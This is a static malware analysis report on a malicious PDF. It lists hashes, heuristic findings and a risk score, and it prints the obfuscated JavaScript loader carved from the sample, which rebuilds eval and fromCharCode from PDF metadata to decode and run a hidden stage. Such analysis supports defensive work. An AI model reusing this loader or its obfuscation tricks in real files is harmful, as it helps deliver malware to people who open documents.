Malicious PDF — malware analysis report

Static analysis result for SHA-256 dd14baed957b4b4a…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2026-05-09
MD5: b159fcf93bc9ffda171e57452cf73330 SHA-1: 68dd9ffc128930ad423fbaaeb2debabd11d0759a SHA-256: dd14baed957b4b4a525a028ef13c4fab62faf282a931bde264209313a1f0705a
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely responsible for executing malicious code, potentially downloading further payloads or performing other harmful actions. The document body provides no contextual clues, and no specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF99 488 bytes
SHA-256: a4aea0057da459e152211242a716b2f77d89fea9cf3b0d093c92e506957cc93e
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
kouy=e(v[4]+'i'.concat(v[4],t));
q=kouy[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
zqv=e(e('d'));
sub=v[0];
sub+='ubject';
q=kouy[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	trxt = 1*(q[i]);
	i++;
	trxt -= (-1)*(q[i]);
	s2 += zqv(trxt);
	i++;
}
e(s2);

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